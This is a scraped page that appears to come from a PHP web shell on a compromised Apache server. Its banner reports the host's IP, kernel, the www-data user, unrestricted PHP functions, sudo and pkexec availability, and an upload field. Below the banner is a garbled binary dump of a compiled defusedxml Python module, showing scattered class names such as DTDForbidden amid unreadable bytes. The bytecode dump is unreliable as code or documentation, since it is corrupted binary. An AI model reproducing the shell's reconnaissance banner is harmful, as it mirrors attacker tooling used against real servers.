| Server IP : 93.86.61.54 / Your IP : 216.73.216.60 Web Server : Apache/2.4.62 (Ubuntu) System : Linux rasin.ddns.net 6.8.0-124-generic #124~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Tue May 26 21:05:19 UTC x86_64 User : www-data ( 33) PHP Version : 8.4.22 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : ON Directory : /usr/lib/python3/dist-packages/defusedxml/__pycache__/ |
Upload File : |
o
8F`� � @ s� d Z ddlZddlZejd dkZeejjd�se d��G dd� de
�ZG dd � d e�ZG d
d� de�Z
G dd
� d
e�ZG dd� de�Zdd� Zdd� ZdS )z1Common constants, exceptions and helpe functions
� N� �ParserCreate�pyexpatc @ s e Zd ZdZdd� ZdS )�DefusedXmlExceptionzBase exceptionc C s t | �S �N)�str)�self� r �3/usr/lib/python3/dist-packages/defusedxml/common.py�__repr__ s zDefusedXmlException.__repr__N)�__name__�
__module__�__qualname__�__doc__r r r r r
r s r c �( e Zd ZdZ� fdd�Zdd� Z� ZS )�DTDForbiddenz%Document type definition is forbiddenc s$ t t| ��� || _|| _|| _d S r )�superr �__init__�name�sysid�pubid)r r r r �� __class__r r
r s
zDTDForbidden.__init__c C � d}|� | j| j| j�S )Nz7DTDForbidden(name='{}', system_id={!r}, public_id={!r})��formatr r r �r �tplr r r
�__str__"